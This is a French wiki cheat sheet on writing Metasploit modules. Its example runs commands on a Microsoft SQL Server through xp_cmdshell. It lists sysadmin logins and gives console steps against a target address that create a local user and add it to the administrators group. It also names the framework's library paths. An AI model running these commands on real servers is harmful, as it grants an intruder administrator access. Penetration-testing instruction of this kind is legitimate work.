Z construire son module metasploit

De wiki.nexiat.fr
Aller à la navigation Aller à la recherche
Fiche express
Domaine Développement de modules
Langage Ruby
Exemple Payload PowerShell via MSSQL
Voir aussi Sqlserveur metasploit · Scans metasploit

Metasploit est écrit en Ruby. Cette fiche illustre la construction d'un module par l'exemple, en partant d'un payload transmis à un serveur MSSQL, puis l'ajout d'un module dans l'arborescence.

Exemple : mssql / PowerShell

On convertit un payload Metasploit en blob hexadécimal transmissible à un système via MSSQL, pour obtenir un shell distant.

Lister les utilisateurs de même niveau de rôle dans MSSQL :

SELECT loginname FROM master..syslogins WHERE sysadmin=1
use admin/mssql/mssql_exec
show options
set RHOST 172.16.32.136
set CMD net user metasploit pass /ADD
exploit

Cet appel utilise la procédure stockée xp_cmdshell. On peut ensuite saisir :

net localgroup administrators metasploit /ADD

Explorer un module existant

Le module auxiliary/admin/mssql/mssql_exec.rb appelle la commande dans la base :

mssql_xpcmdshell(datastore['CMD'], true)

Les bibliothèques associées se trouvent dans :

/usr/share/metasploit-framework/lib/msf/core/exploit/mssql_commands.rb
/usr/share/metasploit-framework/lib/msf/core/exploit/mssql.rb

Ajouter un exploit manuellement

Il suffit de placer le module dans l'arborescence personnelle de l'utilisateur :

/root/.msf4/modules/exploit/dir/

Voir aussi